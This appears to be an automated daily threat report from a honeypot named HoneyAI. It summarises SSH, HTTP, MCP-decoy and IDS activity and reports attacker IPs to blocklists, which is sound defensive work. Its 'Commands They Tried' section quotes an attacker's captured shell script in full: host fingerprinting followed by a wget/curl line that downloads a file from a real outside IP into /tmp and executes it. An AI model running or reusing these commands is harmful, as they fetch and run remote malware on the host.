Daily Threat Report
Top Attacker IPs
Top Passwords Tried
- 04f8996da763b7a9
- 0fd205965ce169b5
- 240be518fabd2724
- 28efb68dcba507ec
- d74ff0ee8da3b980
🌐 WEB HONEYPOT — HoneyAI HTTP
AI-generated fake HTTP responses served to 142 scanner requests from 46 unique IPs (local, offline).
Top Paths Probed
- /
- /login
- /SDK/webLanguage
- /dispatch.asp
- /v1/models
Top User-Agents
- Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36
- Go-http-client/1.1
- Mozilla/5.0 (compatible; Infrawatch/1.0; +https://infrawat.ch/)
- Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46
- Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1
💥 OPERATION SPINE — Reverse Port Scanning
Active defense back-profiling: HoneyAI executed **15** reverse port-scans against active attacker IPs. Out of these, **15** hosts were found with open services.
Discovered Open Ports on Attackers
# Automatic multi-platform threat intel reporting $ honeypot-report.sh --since 24h → 375 IPs → AbuseIPDB (community confidence scores updated) → 375 IPs → AlienVault OTX (pulse indicators added) → 375 IPs → Blocklist.de (auto-ban list updated) → 375 IPs → DShield/SANS (global threat feed updated)
🤣 ATTACKER COMEDY CORNER
Real attempts. No actors were harmed in the making of this honeypot.
🔑 Hall of Shame — Passwords
8795cf4b829910da b03ddf3ca2e714a6 d82494f05d6917ba e9cee71ab932fde8 17f80754644d33ac 💻 Commands They Tried
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '$_dq' ) || echo $_dq$_dq) arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q $_dqlm$_dq /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q $_dqCPU architecture: 8$_dq /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q $_dqCPU architecture: 7$_dq /proc/cpuinfo && echo armv7l ) || echo $_dq$_dq) uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null) cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c $_dq^processor$_dq /proc/cpuinfo 2>/dev/null) cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E $_dq^model name$_dq /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E $_dq^Hardware$_dq /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ) gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ) last_output=$(last 2>/dev/null) filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'execute_err='; out=$(bash -c 'printf $_dq#!/bin/bash\necho \$_dqxxxxxx\$_dq\n$_dq > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case $_dq$out$_dq in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf $_dq#!/bin/bash\necho \$_dqxxxxxx\$_dq\n$_dq > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case $_dq$out$_dq in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf $_dq#!/bin/bash\necho \$_dqxxxxxx\$_dq\n$_dq > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case $_dq$out$_dq in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf $_dq#!/bin/sh\necho \$_dqxxxxxx\$_dq\n$_dq > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf $_dq#!/bin/sh\necho \$_dqxxxxxx\$_dq\n$_dq > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' $_dq$out$_dq | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; echo '===DONE===' ) 2>&1 ) echo $_dqUNAME:$uname$_dq echo $_dqARCH:$arch$_dq echo $_dqUPTIME:$uptime$_dq echo $_dqCPUS:$cpus$_dq echo $_dqCPU_MODEL:$cpu_model$_dq echo $_dqGPU:$gpu_info$_dq echo $_dqLAST:$last_output$_dq echo $_dqFILTER:$filter_output$_dq cd /tmp; wget http://5.182.210.174/ok; curl -O http://5.182.210.174/ok; chmod +x ok; sh ok; rm -rf ok; rm -rf ok.1 locate D877F783D5D3EF8Cs echo Hi | cat -n /bin/sh These are real credentials and commands attempted by automated scanners and script kiddies. Logged, reported, and immortalized.
Automated report for 26 de agosto de 2026. Recorded 1029 SSH connections and 16651 multi-protocol decoy events on HoneyAI, from 396 unique IPs. 375 IPs were automatically reported to the AbuseIPDB community database.
SSH Activity (HoneyAI)
The SSH service received 639 login attempts from 123 unique IPs. Attackers executed 378 commands after gaining simulated system access.
Multi-Protocol Decoys (HoneyAI)
Detected 16651 events across services including FTP, Telnet, SMTP, MySQL, Redis, Git, VNC, and RDP from 273 distinct IPs. All events are access attempts against simulated production services.
HTTP Web Service (HoneyAI)
The web service received 142 HTTP requests from real scanners across 46 unique IPs. Each attacker received a fake response generated in real time by the local AI engine (Ollama, no internet connection required).
MCP Agent Trap
The MCP decoy server received 6 requests from 3 unique IPs. Attackers attempted to call internal tools including credential extraction and system command execution.
MSSQL / SNMP Honeypots
The MSSQL decoy received 1932 authentication events from 2 IPs. The SNMP trap received 30 queries from 17 IPs probing community strings and OIDs.
Portscan Detection
Detected 0 incoming port scan events from 0 unique IPs.
AI Defense Stats
Blocked 0 prompt injection attempts and 0 identity leak attempts.
Active Defense (Operation Spine)
HoneyAI performed 15 reverse port scans back to active attacker IPs. Out of these, 15 hosts were found running open public services, allowing backfire profiling.
Network IDS (Suricata)
The network intrusion detection system generated 38136 alerts from 525 unique source IPs. Suricata monitors all traffic on the primary network interface using Emerging Threats + AlienVault OTX rulesets.